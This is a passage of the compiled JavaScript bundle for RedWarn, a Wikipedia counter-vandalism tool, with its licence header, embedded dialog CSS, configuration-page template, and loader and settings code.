User:Sportshead/rw17dev.js

/*! * RedWarn - Recent Edits Patrol and Warning Tool * The user-friendly Wikipedia counter-vandalism tool. * * (c) 2020-2021 The RedWarn Development Team and contributors - ed6767wiki (at) gmail.com or WT:RW * Licensed under the Apache License 2.0 - read more at https://www.apache.org/licenses/LICENSE-2.0.txt * * -- * * Copyright 2021 The RedWarn Development Team * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * *    http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * * -- * * Notice for on-wiki versions: * * Compiled on-wiki versions are made available by the copyright holders on * Wikimedia projects under the Creative Commons Attribution-ShareAlike 3.0 * Unported License. * * We, the copyright holders, also authorise you to upload the compiled RedWarn * bundle from Apache License 2.0-licensed source code to any Wikimedia project. * * For all other non-Wikimedia wikis: Rebuilds using the Apache License 2.0-licensed * source code must be uploaded under an Apache License 2.0-compatible license. * * It is the copyright holders understanding that Creative Commons Attribution-ShareAlike * 3.0 Unported is not a compatible license for on-wiki release. * * That being said, as an open-source project, we welcome collaboration, extensions * and translations! Please email ed6767wiki (at) gmail.com if you need help with * licensing RedWarn for another wiki. * * -- * *              ! ATTENTION TO ALL WITH SCRIPT EDITING PERMISSIONS ! * *            Changing this file will affect a large amount of users. *            It is not suggested that you directly change this file *             as there may be unknown implications of doing so. If *            there is an immediate threat posed by the script which *              needs to be settled immediately, please inform the *                    RedWarn team after making your changes. * *            This file is automatically generated by webpack when a *             new update is released. If you wish to modify the code, *             it is better to do so by making a pull request to the *             RedWarn repository on GitLab, which can be found here: * *                    https://gitlab.com/redwarn/redwarn-web/ * * -- * Past this point, everything needs to be wrapped in a nowiki tag, or else we * risk "transcluding" templates. * * */(=>{var __webpack_modules__={7205:(e,t,i)=>{"use strict";i.r(t),i.d(t,{default:=>a});var n=i(3645),r=i.n(n)((function(e){return e[1]}));r.push([e.id,'.rw-mdc-diffIcons {\n    position: relative;\n    min-height: 36px;\n\n    font-family: "Roboto", "Arial", sans-serif;\n}\n\n.rw-mdc-diffIcons:not(.rw-mdc-diffIcons--reverting)\n    .rw-mdc-diffIcons-progressBar,\n.rw-mdc-diffIcons:not(.rw-mdc-diffIcons--finished)\n    .rw-mdc-diffIcons-doneOptions,\n.rw-mdc-diffIcons.rw-mdc-diffIcons--reverting .rw-mdc-diffIcons-options,\n.rw-mdc-diffIcons.rw-mdc-diffIcons--finished .rw-mdc-diffIcons-options {\n    pointer-events: none;\n    opacity: 0;\n}\n\n.rw-mdc-diffIcons-options {\n    pointer-events: all;\n    opacity: 1;\n}\n\n.rw-mdc-diffIcons-progressBar {\n    pointer-events: all;\n    opacity: 1;\n\n    position: absolute;\n    box-sizing: border-box;\n    height: 100%;\n    width: 100%;\n\n    top: 0;\n    left: 0;\n\n    z-index: 100;\n}\n\n.rw-mdc-diffIcons-progressBar-content {\n    height: 100%;\n    width: 60%;\n    margin: 0 auto;\n    display: flex;\n    flex-direction: column;\n    justify-content: center;\n}\n\n.rw-mdc-diffIcons-progressBar-content .mdc-linear-progress {\n    text-align: left;\n    background-color: rgba(0, 0, 0, 0.15);\n}\n\n.rw-mdc-diffIcons-doneOptions {\n    pointer-events: all;\n    opacity: 1;\n\n    position: absolute;\n    box-sizing: border-box;\n    height: 100%;\n    width: 100%;\n\n    z-index: 50;\n    transition: opacity 0.3s ease;\n\n    top: 0;\n    left: 0;\n\n    display: flex;\n    flex-direction: column;\n    justify-content: center;\n}\n\n.rw-mdc-diffIcons-options .mdc-icon-button,\n.rw-mdc-diffIcons-doneOptions .mdc-icon-button {\n    width: 40px;\n    height: 40px;\n    padding: 6px;\n    font-size: 28px;\n}\n',""]);const a=r},2630:(e,t,i)=>{"use strict";i.r(t),i.d(t,{default:=>a});var n=i(3645),r=i.n(n)((function(e){return e[1]}));r.push([e.id,".rw-mdc-extendedOptions .mdc-dialog__content {\n    padding-left: 0 !important;\n    padding-right: 0 !important;\n}\n\n.rw-mdc-extendedOptions .mdc-list-item {\n    height: 38px !important;\n}\n\n.rw-mdc-extendedOptions .mdc-list-item,\n.rw-mdc-extendedOptions .mdc-list-item .material-icons {\n    font-weight: 500;\n}\n\n.rw-mdc-extendedOptions .mdc-deprecated-list-item__graphic {\n    margin-right: 16px;\n}\n",""]);const a=r},9702:(e,t,i)=>{"use strict";i.r(t),i.d(t,{default:=>a});var n=i(3645),r=i.n(n)((function(e){return e[1]}));r.push([e.id,'.rw-mdc-full-width {\n    width: 100%;\n}\n\n.mdc-form-field.rw-mdc-radiofield--vertical {\n    flex-direction: column;\n    align-items: start !important;\n}\n\n.mdc-form-field.rw-mdc-radiofield--horizontal {\n    flex-direction: row;\n    justify-content: start;\n}\n\n@keyframes dummy {\n    from {\n    }\n    to {\n    }\n}\n\n/* Everything that needs DOM insertion tracking should be placed here. */\n[data-append-event],\n.mdc-icon-button {\n   animation: dummy 0s;\n}\n\n.mdc-radio + label {\n    vertical-align: top;\n    display: inline-block;\n    height: 100%;\n}\n\n.mdc-list .mdc-list-group__subheader {\n    margin: 0;\n    padding: 2px 16px;\n    background-color: #ddd;\n    color: #000;\n    font-weight: bold;\n}\n\n.bullet {\n    margin: 0 0.5em;\n}\n\n.mdc-dialog__actions {\n    font-family: "Roboto", sans-serif;\n}\n\n.mdc-icon-button,\n.mdc-list-item {\n    --mdc-ripple-hover-opacity: 0.14;\n}\n\n.mdc-icon-button {\n    position: relative;\n}\n\n/* Tooltip background color */\n.mdc-tooltip__surface {\n    background-color: rgba(0, 0, 0, 0.8) !important;\n    text-align: center !important;\n}\n\n.mdc-list .mdc-list-header {\n    background: #ddd;\n    font-size: small;\n    line-height: 2em;\n    height: 2em;\n}\n\n.mdc-list-item {\n    /** odd bug */\n    align-items: center !important;\n}\n\n.rw-mdc-subtitle {\n    color: gray;\n    letter-spacing: 0;\n    font-size: small;\n    line-height: 1.25em;\n}\n\n.rw-mdc-cardTitle {\n    color: black;\n    letter-spacing: normal;\n    font-size: large;\n    font-weight: 500;\n}\n\n.rw-mdc-cardSubtitle {\n    color: black;\n    letter-spacing: normal;\n    font-size: small;\n    line-height: 1.25em;\n}\n\n.rw-mdc-dialog-helperText {\n    margin-right: auto;\n    padding: 16px 0;\n}\n\n@media (max-width: 1165px) {\n    .rw-mdc-dialog-helperText {\n        display: none;\n    }\n}\n',""]);const a=r},5131:(e,t,i)=>{"use strict";i.r(t),i.d(t,{default:=>a});var n=i(3645),r=i.n(n)((function(e){return e[1]}));r.push([e.id,".rw-mdc-iframeDialog iframe {\n    width: 100%;\n    height: 100%;\n    border: 0;\n}\n\n.mdc-dialog .rw-mdc-iframeDialog.mdc-dialog__surface {\n    max-width: unset;\n}\n\n.mdc-dialog .rw-mdc-iframeDialog .mdc-dialog__content {\n    padding: 0;\n    overflow: hidden;\n}\n",""]);const a=r},2757:(e,t,i)=>{"use strict";i.r(t),i.d(t,{default:=>a});var n=i(3645),r=i.n(n)((function(e){return e[1]}));r.push([e.id,'@keyframes loadingPulse {\n    0% {\n        color: lightgray;\n    }\n    100% {\n        color: gray;\n    }\n}\n\n.rw-mdc-inputCard:not([data-state="loading"]) .rw-mdc-inputCard-loading,\n.rw-mdc-inputCard:not([data-state="input"]) .rw-mdc-inputCard-input,\n.rw-mdc-inputCard:not([data-state="ready"]) .rw-mdc-inputCard-main {\n    pointer-events: none;\n    opacity: 0;\n    margin: 0;\n    padding: 0;\n}\n\n.rw-mdc-inputCard {\n    position: relative;\n}\n\n.rw-mdc-inputCard > div {\n    box-sizing: border-box;\n    min-height: 98px;\n    width: 100%;\n    height: 100%;\n    padding: 16px;\n}\n\n.rw-mdc-inputCard-input,\n.rw-mdc-inputCard-loading {\n    position: absolute;\n    top: 0;\n    left: 0;\n    text-align: center;\n}\n\n.rw-mdc-inputCard-input > button {\n    margin: 0 4px;\n}\n\n.rw-mdc-inputCard-input > span:first-child {\n    display: inline-block;\n}\n\n.rw-mdc-inputCard-input > span:first-child > label {\n    width: 75%;\n}\n\n.rw-mdc-inputCard-loading {\n    transition: opacity 0.2s ease-in-out;\n}\n\n.rw-mdc-inputCard-loading__title {\n    width: 100%;\n    box-sizing: border-box;\n    height: 1.2em;\n    padding: 0 16px;\n\n    overflow: hidden;\n    white-space: nowrap;\n    text-overflow: ellipsis;\n    text-align: center;\n    font-size: xx-large;\n    line-height: 1.2em;\n}\n\n.rw-mdc-inputCard-loading__subtitle {\n    animation: loadingPulse 1s linear alternate;\n}\n',""]);const a=r},9266:(e,t,i)=>{"use strict";i.r(t),i.d(t,{default:=>a});var n=i(3645),r=i.n(n)((function(e){return e[1]}));r.push([e.id,"@keyframes pageIconsExpand {\n    from {\n        max-width: 0;\n    }\n    to {\n        max-width: 100%;\n    }\n}\n\n#rwPageIcons {\n    overflow: hidden;\n    height: 28px;\n    animation: pageIconsExpand 0.2s ease-in-out;\n}\n\n.rw-mdc-pageIcons-icon {\n    padding: 2px !important;\n    height: 24px !important;\n    width: 24px !important;\n    box-sizing: content-box !important;\n}\n",""]);const a=r},789:(e,t,i)=>{"use strict";i.r(t),i.d(t,{default:=>a});var n=i(3645),r=i.n(n)((function(e){return e[1]}));r.push([e.id,".mdc-dialog .rw-mdc-protectionRequestDialog.mdc-dialog__surface {\n    height: 95vh;\n    max-width: 100vw;\n    width: 55vw;\n}\n\n.mdc-dialog[data-invalid]\n    .rw-mdc-protectionRequestDialog\n    .rw-mdc-prd-validation,\n.mdc-dialog[data-invalid]\n    .rw-mdc-protectionRequestDialog\n    .rw-mdc-dialog-helperText {\n    display: inline-block;\n}\n\n.rw-mdc-protectionRequestDialog .rw-mdc-prd-validation,\n.rw-mdc-protectionRequestDialog .rw-mdc-dialog-helperText {\n    color: var(--mdc-theme-error);\n    display: none;\n}\n\n.rw-mdc-protectionRequestDialog .mdc-dialog__content {\n    padding-top: 24px !important;\n}\n\n.rw-mdc-protectionRequestDialog .mdc-radio + label > div {\n    height: 24px;\n    padding: 8px 0;\n}\n\n.rw-mdc-protectionRequestDialog .rw-mdc-prd-options {\n    position: relative;\n}\n\n.rw-mdc-protectionRequestDialog .mdc-radio--disabled + label {\n    color: gray;\n}\n\n.rw-mdc-prd-protectionLevel img {\n    height: 24px;\n    width: auto;\n}\n\n.rw-mdc-prd-protectionLevel > span {\n    vertical-align: top;\n}\n\n.rw-mdc-prd-protectionLevel > span + span {\n    vertical-align: middle;\n}\n\n.rw-mdc-prd-protectionLevel + .rw-mdc-prd-protectionLevel {\n    margin-top: 4px;\n}\n\n.rw-mdc-protectionRequestDialog .rw-mdc-protectionLevels--name {\n    margin-left: 8px;\n    vertical-align: middle;\n}\n\n.rw-mdc-prd-options {\n    display: flex;\n    flex-wrap: wrap;\n}\n\n.rw-mdc-prd-options > div {\n    flex: 1;\n}\n\n.rw-mdc-prd-title__title {\n    font-size: xx-large;\n}\n\n.rw-mdc-prd-title__title:hover {\n    text-decoration: underline;\n    cursor: pointer;\n}\n\n.rw-mdc-prd-protectionInfo {\n    margin-top: 16px;\n}\n\n.rw-mdc-prd-reason {\n    display: block;\n    margin: 16px 0;\n    flex: initial !important;\n}\n\n.rw-mdc-prd-reason,\n.rw-mdc-prd-reason > div {\n    width: 100%;\n}\n\n.rw-mdc-prd-reason .mdc-menu {\n    max-height: 275px !important;\n}\n\n.rw-mdc-prd-duration--label,\n.rw-mdc-prd-duration .rw-mdc-radio .material-icons {\n    margin: 8px 0;\n}\n\n.rw-mdc-prd-duration--label {\n    margin-right: 8px !important;\n    border-right: 1px solid gray;\n    padding-right: 8px;\n}\n\n.rw-mdc-prd-notice {\n    font-size: small;\n    line-height: 1.2em;\n}\n",""]);const a=r},5220:(e,t,i)=>{"use strict";i.r(t),i.d(t,{default:=>a});var n=i(3645),r=i.n(n)((function(e){return e[1]}));r.push([e.id,'#p-personal {\n    z-index: 1;\n}\n\n.mdc-dialog .rw-mdc-warnDialog.mdc-dialog__surface {\n    height: 95vh;\n    max-width: 100vw;\n    width: 45vw;\n}\n\n.rw-mdc-warnDialog-user {\n    min-height: 100px;\n    width: 100%;\n}\n\n.rw-mdc-warnDialog-user--overlay {\n    position: absolute;\n    top: 0;\n    left: 0;\n    width: 100%;\n    height: 100%;\n    background-color: var(--mdc-theme-background);\n\n    transition: opacity 0.2s ease;\n    opacity: 1;\n}\n\n.rw-mdc-warnDialog-user.rw-mdc-warnDialog-user--active\n    .rw-mdc-warnDialog-user--overlay {\n    pointer-events: none;\n    opacity: 0;\n}\n\n.rw-mdc-warnDialog-user--overlay > div {\n    width: 100%;\n    height: 100%;\n}\n\n.rw-mdc-warnDialog-user--loading {\n    display: flex;\n    align-items: center;\n    justify-content: center;\n    flex-direction: column;\n}\n\n.rw-mdc-warnDialog-user--loading :first-child {\n    font-size: xx-large;\n}\n\n@keyframes rw-mdc-colorPulsate {\n    0% {\n        color: gray;\n    }\n    50% {\n        color: darkgray;\n    }\n    100% {\n        color: gray;\n    }\n}\n\n.rw-mdc-warnDialog-user--loading :last-child {\n    font-size: smaller;\n    animation: rw-mdc-colorPulsate 1s linear infinite;\n}\n\n.rw-mdc-warnDialog-user--input {\n    display: flex;\n    justify-content: center;\n    align-items: center;\n}\n\n.rw-mdc-warnDialog-user--input span[data-mdc-textinput] {\n    min-width: 250px;\n    width: 65%;\n    margin-right: 8px;\n}\n\n.rw-mdc-warnDialog-user table {\n    border-collapse: collapse;\n}\n\n.rw-mdc-warnDialog-user table > tr:first-child > td:first-child {\n    border-right: 1px solid lightgray;\n    width: 100%;\n}\n\n.rw-mdc-warnDialog-user table > tr:first-child > td:last-child,\n.rw-mdc-warnDialog-user table > tr:last-child > td {\n    width: 20%;\n}\n\n.rw-mdc-warnDialog-user table > tr:first-child > td:last-child {\n    border-bottom: 1px solid lightgray;\n}\n\n.rw-mdc-warnDialog-user--main {\n    box-sizing: border-box;\n    width: 100%;\n    padding: 8px;\n}\n\n.rw-mdc-warnDialog-user--main table {\n    display: block;\n}\n\n.rw-mdc-warnDialog-user--main table,\n.rw-mdc-warnDialog-user--main tr,\n.rw-mdc-warnDialog-user--main td {\n    width: 100%;\n}\n\n.rw-mdc-warnDialog-user--main table tr:first-child td:first-child {\n    max-width: 0;\n}\n\n.rw-mdc-warnDialog-user--username {\n    font-size: xx-large;\n    width: 100%;\n    white-space: nowrap;\n    overflow: hidden;\n    text-overflow: ellipsis;\n    line-height: 1.2em;\n    height: 1.2em;\n}\n\n.rw-mdc-warnDialog-user--loading .rw-mdc-warnDialog-user--username {\n    text-align: center;\n    box-sizing: border-box;\n    padding: 0 16px;\n}\n\n.rw-mdc-warnDialog-user--overview {\n    font-size: smaller;\n    text-transform: uppercase;\n}\n\n.rw-mdc-warnDialog-user--overview .mdc-tooltip {\n    font-size: initial;\n    text-transform: initial;\n}\n\n.rw-mdc-warnDialog-user--username a,\n.rw-mdc-warnDialog-user--overview a {\n    color: inherit;\n}\n\n.rw-mdc-warnDialog-user--overview a:hover {\n    text-decoration: underline;\n}\n\n.rw-mdc-warnDialog-user--groups {\n    padding: 0 16px;\n    font-size: small;\n}\n\n.rw-mdc-warnDialog-user--groups a {\n    color: gray;\n}\n\n.rw-mdc-warnDialog-reason {\n    margin: 16px 0;\n}\n\n.rw-mdc-warnDialog-reason .rw-mdc-warnDialog-reason--dropdown {\n    width: 100%;\n    display: inline-flex;\n    justify-content: center;\n    align-items: center;\n}\n\n.rw-mdc-warnDialog-reason .mdc-select {\n    width: calc(100% - 56px); /* IconButton width + 8px margin */\n}\n\n.rw-mdc-warnDialog-reason .mdc-select__menu {\n    max-height: 40vh !important;\n}\n\n.rw-mdc-warnDialog-reason .rw-mdc-warnDialog-reason--search {\n    margin-left: 8px;\n}\n\n.rw-mdc-warnDialog-reason\n    .rw-mdc-warnDialog-reason--levels\n    .mdc-form-field\n    > span {\n    display: flex;\n    justify-content: center;\n    align-items: center;\n}\n\n.rw-mdc-warnDialog-reason\n    .rw-mdc-warnDialog-reason--levels\n    .mdc-form-field\n    > span\n    > label {\n    display: inline-flex;\n}\n\n.rw-mdc-warnDialog-reason .rw-mdc-warnDialog-reason--levels table,\n.rw-mdc-warnDialog-reason .rw-mdc-warnDialog-reason--levels tr {\n    width: 100%;\n}\n\n.rw-mdc-warnDialog-reason .rw-mdc-warnDialog-reason--levels table {\n    height: 46px;\n    border-spacing: 8px;\n}\n\n.rw-mdc-warnDialog-reason\n    .rw-mdc-warnDialog-reason--levels\n    table\n    td:first-child {\n    margin-top: 16px;\n    width: 30%;\n    border-right: 1px solid gray;\n}\n\n.rw-mdc-warnDialog-reason\n    .mdc-text-field--filled.mdc-ripple-upgraded--background-focused\n    .mdc-text-field__ripple::before {\n    opacity: 0;\n}\n\n.rw-mdc-warnDialog-xray {\n    border-radius: 8px;\n    border: 1px solid #aaa;\n\n    box-sizing: border-box;\n    min-width: 0;\n    width: 100%;\n}\n\n.rw-mdc-warnDialog-xray .rw-mdc-warnDialog-xray--content {\n    min-height: 60px;\n    font-family: sans-serif;\n    font-size: 0.95rem;\n    font-weight: normal;\n    letter-spacing: normal;\n    line-height: 1.5em;\n    color: black;\n    position: relative;\n}\n\n.rw-mdc-warnDialog-xray .rw-mdc-warnDialog-xray--content::after {\n    content: "";\n    display: block;\n    position: absolute;\n    top: 0;\n    left: 0;\n    background-color: var(--mdc-theme-background);\n    width: 100%;\n    height: 100%;\n\n    pointer-events: none;\n    opacity: 0;\n\n    transition: opacity 0.2s ease;\n}\n\n.rw-mdc-warnDialog-xray.rw-mdc-warnDialog-xray--loading\n    .rw-mdc-warnDialog-xray--content::after {\n    opacity: 0.5;\n}\n\n.rw-mdc-warnDialog-xray .rw-mdc-warnDialog-xray--content p {\n    margin: 0;\n}\n\n/* Status indicators styling */\n\n.rw-mdc-warnDialog-validation[data-valid] {\n    color: green;\n}\n\n.rw-mdc-warnDialog-validation:not([data-valid]) {\n    color: var(--mdc-theme-error);\n}\n\n/* Hide helper text if dialog is too small - TODO: @media is entire screen - we\'d need to turn this\n    into JS to detect dialog width for resizable dialogs                                            */\n@media (max-width: 1165px) {\n    .rw-mdc-warnDialog-helperTextHider {\n        display: none;\n    }\n}\n\n/* Fix button jumping when validation cleared */\n.mdc-dialog__actions {\n    height: 65px;\n}\n\n/* Revert confirmation dialog */\n.rw-mdc-riskyRevert {\n    color: #f33;\n}\n\n/* Warning search dialog */\n\n.mdc-dialog .rw-mdc-warnSearchDialog.mdc-dialog__surface {\n    max-width: unset;\n}\n\n.mdc-dialog .rw-mdc-warnSearchDialog .mdc-dialog__content {\n    padding: 0;\n    overflow: hidden;\n}\n\n.mdc-dialog .rw-mdc-warnSearchDialog .rw-mdc-warnSearchDialog--searchBar {\n    box-sizing: border-box;\n    height: 56px;\n    padding: 0 16px;\n}\n.mdc-dialog .rw-mdc-warnSearchDialog .rw-mdc-warnSearchDialog--warnings {\n    /* Fixed to remove chin */\n    max-height: calc(100% - 72px);\n    margin: 16px;\n    overflow-y: auto;\n    display: flex;\n    flex-wrap: wrap;\n    flex-direction: row;\n    justify-content: flex-start;\n    align-items: center;\n}\n\n.mdc-dialog\n    .rw-mdc-warnSearchDialog\n    .rw-mdc-warnSearchDialog--warnings\n    .rw-warningCategory {\n    flex: initial;\n    width: 100%;\n    border-bottom: 1px solid #bbb;\n    margin: 8px 8px 4px 8px;\n\n    color: black;\n    font-weight: bold;\n}\n\n.mdc-dialog .rw-mdc-warnSearchDialog .rw-mdc-warnSearchDialog-warning {\n    padding: 8px;\n    width: calc(50% - 16px);\n    margin: 4px 8px;\n    flex: initial;\n\n    cursor: pointer;\n    user-select: none;\n    transition: background-color 0.2s ease;\n}\n\n.mdc-dialog\n    .rw-mdc-warnSearchDialog\n    .rw-mdc-warnSearchDialog--searchBar.rw-mdc-warnSearchDialog--searchBar--focused\n    + .rw-mdc-warnSearchDialog--warnings\n    .rw-mdc-warnSearchDialog-warning--top {\n    /* Card outline */\n    box-shadow: inset 0 0 0 2px var(--mdc-theme-primary);\n}\n\n.mdc-dialog\n    .rw-mdc-warnSearchDialog\n    .rw-mdc-warnSearchDialog--searchBar:not(.rw-mdc-warnSearchDialog--searchBar--focused)\n    + .rw-mdc-warnSearchDialog--warnings\n    .rw-mdc-warnDialog-searchDialog-instantSelect {\n    display: none;\n}\n\n.mdc-dialog .rw-mdc-warnSearchDialog .rw-mdc-warnSearchDialog-warning table {\n    border-collapse: collapse;\n}\n\n.mdc-dialog .rw-mdc-warnSearchDialog .rw-warnSearch-hidden {\n    display: none;\n}\n\n.mdc-dialog\n    .rw-mdc-warnSearchDialog\n    .rw-mdc-warnSearchDialog-warning.rw-warning-selected {\n    background-color: rgba(0, 0, 0, 0.15);\n    cursor: unset;\n}\n\n/* Press ENTER to select screen */\n.mdc-dialog\n    .rw-mdc-warnSearchDialog\n    .rw-mdc-warnDialog-searchDialog-instantSelect {\n    font-size: small;\n    line-height: 2.25em;\n}\n',""]);const a=r},9165:(e,t,i)=>{"use strict";i.r(t),i.d(t,{default:=>a});var n=i(3645),r=i.n(n)((function(e){return e[1]}));r.push([e.id,"#rwPageIcons {\n    float: right;\n    padding-top: 0.2em;\n    margin-left: 8px;\n}\n",""]);const a=r},233:(e,t,i)=>{var n=i(3379),r=i(7205);"string"==typeof(r=r.__esModule?r.default:r)&&(r=e.id,r,"");var a={insert:"head",singleton:!1};n(r,a);e.exports=r.locals||{}},414:(e,t,i)=>{var n=i(3379),r=i(2630);"string"==typeof(r=r.__esModule?r.default:r)&&(r=e.id,r,"");var a={insert:"head",singleton:!1};n(r,a);e.exports=r.locals||{}},7336:(e,t,i)=>{var n=i(3379),r=i(9702);"string"==typeof(r=r.__esModule?r.default:r)&&(r=e.id,r,"");var a={insert:"head",singleton:!1};n(r,a);e.exports=r.locals||{}},6540:(e,t,i)=>{var n=i(3379),r=i(5131);"string"==typeof(r=r.__esModule?r.default:r)&&(r=e.id,r,"");var a={insert:"head",singleton:!1};n(r,a);e.exports=r.locals||{}},5946:(e,t,i)=>{var n=i(3379),r=i(2757);"string"==typeof(r=r.__esModule?r.default:r)&&(r=e.id,r,"");var a={insert:"head",singleton:!1};n(r,a);e.exports=r.locals||{}},5952:(e,t,i)=>{var n=i(3379),r=i(9266);"string"==typeof(r=r.__esModule?r.default:r)&&(r=e.id,r,"");var a={insert:"head",singleton:!1};n(r,a);e.exports=r.locals||{}},4509:(e,t,i)=>{var n=i(3379),r=i(789);"string"==typeof(r=r.__esModule?r.default:r)&&(r=e.id,r,"");var a={insert:"head",singleton:!1};n(r,a);e.exports=r.locals||{}},9561:(e,t,i)=>{var n=i(3379),r=i(5220);"string"==typeof(r=r.__esModule?r.default:r)&&(r=e.id,r,"");var a={insert:"head",singleton:!1};n(r,a);e.exports=r.locals||{}},3377:(e,t,i)=>{var n=i(3379),r=i(9165);"string"==typeof(r=r.__esModule?r.default:r)&&(r=e.id,r,"");var a={insert:"head",singleton:!1};n(r,a);e.exports=r.locals||{}},8269:e=>{e.exports="/**\n * This is your RedWarn configuration script. It is recommended that you\n * don't edit this yourself and use RedWarn's preferences menu instead.\n *\n * This script is run every time RedWarn loads and may be overwritten at any time.\n *\n * If somebody besides a RedWarn team member has asked you to add code\n * to this page, DO NOT do so as it may compromise your account.\n *\n * !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n * !!! Do not edit below this script unless you understand the risks !!!\n * !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n */\n// --nowikiOpen\nwindow.rw = window.rw || {}, window.rw.config = --configuration;\n// --nowikiClose"},3551:e=>{e.exports="#mw-head, #mw-panel, #mw-head-base, #mw-page-base, .mw-contributions-footer, footer {\n   display: none;\n}\n\n#content {\n    margin-left: 0;\n    border: 0;\n}"},5799:e=>{e.exports='\n    \n    \n    \n    \n '},4811:(e,t,i)=>{"use strict";const n=i(655),r=n.__importDefault(i(8001)),a=n.__importStar(i(7912)),o=i(7912),s=n.__importStar(i(8910)),l=n.__importDefault(i(5609)),d=n.__importDefault(i(6831)),c=n.__importDefault(i(5310)),u=n.__importDefault(i(2458)),p=n.__importDefault(i(4470)),g=n.__importDefault(i(2217)),f=n.__importDefault(i(3321)),h=n.__importDefault(i(6724)),m=n.__importDefault(i(5958)),v=n.__importDefault(i(7888)),w=n.__importDefault(i(3848)),_=n.__importDefault(i(6921)),y=n.__importDefault(i(5147)),b=n.__importStar(i(4802)),D=i(4802),R=i(9052);class S{static get RedWarnConstants{return a}static get RedWarnStore{return h.default}static get RedWarnHooks{return g.default}static get Localization{return d.default}static get Log{return c.default}static get i18next{return r.default}static get MediaWikiClasses{return b}static get StyleManager{return w.default}static get RedWarnUI{return m.default}static get RTRC{return p.default}static get Utilities{return s}static get WarningManager{return D.WarningManager}static get Dependencies{return l.default}static get Configuration{return R.Configuration}static get WikiConfiguration{return v.default}static get Database{return f.default.i}static get Watch{return D.Watch}static get MediaWiki{return D.MediaWiki}static get ClientUser{return D.ClientUser}static get TamperProtection{return _.default}}S.version=o.RW_VERSION,n.__awaiter(void 0,void 0,void 0,(function*{if(document.body.classList.contains("rw-disable"))return void c.default.info("Page is blocking RedWarn loading. Shutting down...");c.default.info(`Starting RedWarn ${o.RW_VERSION}...`);const e=Date.now;if(null==window.rw){if(window.RedWarn=S,window.rw=S,yield d.default.init,yield D.MediaWiki.loadDependencies,D.MediaWiki.mwCheck){yield Promise.all([f.default.i.connect,D.MediaWikiAPI.init,n.__awaiter(void 0,void 0,void 0,(function*{h.default.initializeStore})),w.default.initialize]);try{v.default.c}catch(e){return c.default.fatal("Wiki-specific configuration is broken!"),void mw.notify(u.default(r.default.t("mediawiki:error.wikiConfigBad",{wikiIndex:h.default.wikiIndex})),{type:"error"})}yield R.Configuration.refresh,yield Promise.all([g.default.executeHooks("preInit"),l.default.resolve([w.default.activeStyle.dependencies]),l.default.resolve([h.default.dependencies])]),p.default.init,_.default.init,D.RevertSpeedup.init,yield Promise.all([g.default.executeHooks("init")]),yield g.default.executeHooks("postInit"),c.default.debug(`Done loading (core): ${Date.now-e}ms.`),yield g.default.executeHooks("preUIInject"),yield y.default.inject,yield Promise.all([g.default.executeHooks("postUIInject"),D.Watch.init]),c.default.debug(`Done loading (UI): ${Date.now-e}ms.`)}}else mw.notify("You have two versions of RedWarn installed at once! Please edit your common.js or skin js files to ensure that you only use one instance to prevent issues.",{type:"error",title:"Conflict"})})).catch((e=>{c.default.fatal("Error loading RedWarn!",e);console.group('%cRedWarn failed to load.%cIf the problem persists, please contact the RedWarn developers. ( RedWarn 加载失败. 请联系 RedWarn Team. / RedWarn no se pudo cargar. Comuníquese con el RedWarn Team. )Additional debug information is provided below. If requested by a RedWarn team member, please provide the text through a private channel (email, IRC, etc.). You can right click the text and select "Copy Object" to copy faster.',"padding: 2px 8px; border-radius: 8px; background: #e0005a; color: #ffffff; font-weight: bold; font-size: x-large;","display: block; margin-top: 8px; width: 50vw;"),console.log("%c"+btoa(JSON.stringify(c.default.dump)),"color: lime;"),console.groupEnd}))},9052:(e,t,i)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.Configuration=void 0;const n=i(655),r=i(7912),a=i(4802),o=i(7353),s=n.__importDefault(i(5958)),l=n.__importDefault(i(8001)),d=n.__importDefault(i(3848)),c=i(6878),u=n.__importDefault(i(5310)),p=n.__importDefault(i(3684)),g=n.__importDefault(i(3825)),f=n.__importDefault(i(8021)),h=n.__importDefault(i(5132)),m=i(8910),v=n.__importDefault(i(8060));class w{static get configurationSets{return{core:w.Core,ui:w.UI,revert:w.Revert,accessibility:w.Accessibility}}static get mappedConfigurationSets{return Object.entries(w.configurationSets).reduce(((e,[t,i])=>(e[t]=w.map(i),m.isEmptyObject(e[t])&&delete e[t],e)),{})}static refresh{var e,t;return n.__awaiter(this,void 0,void 0,(function*{u.default.debug("Refreshing configuration...");let i,n=!1;try{const e=yield a.ClientUser.i.redwarnConfigPage.getLatestRevision;null==e?(i={},n=!0):i=JSON.parse(/rw\.config\s*=\s*({(?:.|\s)*});(?:\n|\s*\/\/<\/nowiki>)(?:.|\s)*/g.exec(e.content)[1])}catch(e){u.default.error("Configuration loading error.",e),d.default.setStyle(d.default.defaultStyle);new s.default.Dialog(l.default.t("ui:configErrorDialog")).show,i={},n=!0}(i.core&&(null!==(e=i.core[w.Core.configVersion.id])&&void 0!==e?e:0))<r.RW_CONFIG_VERSION&&(i=v.default(i),n=!0);for(const[e,t]of Object.entries(w.configurationSets))w.loadSettings(i,e.toLowerCase,t);try{d.default.setStyle(null!==(t=i.ui[w.UI.style.id])&&void 0!==t?t:w.UI.style.defaultValue)}catch(e){if(e instanceof c.StyleMissingError){d.default.setStyle(d.default.defaultStyle);new s.default.Dialog(l.default.t("ui:styleError.missing")).show}}n&&w.save}))}static allSettings(e){const t=new Map;for(const[i,n]of Object.entries(e))n instanceof o.Setting&&t.set(i,n);return t}static loadSettings(e,t,i){null!=e[t]&&w.allSettings(i).forEach((i=>{e[t][i.id]&&(i.value=e[t][i.id])}))}static save(e=!1){return n.__awaiter(this,void 0,void 0,(function*{const t=i(8269);u.default.debug("Updating configuration page..."),yield a.ClientUser.i.redwarnConfigPage.edit(w.toJavascriptFile(t,w.mappedConfigurationSets),{comment:"Updating configuration"}),e&&window.location.reload}))}static map(e){const t=[w.Core.configVersion.id,w.Core.latestVersion.id];return 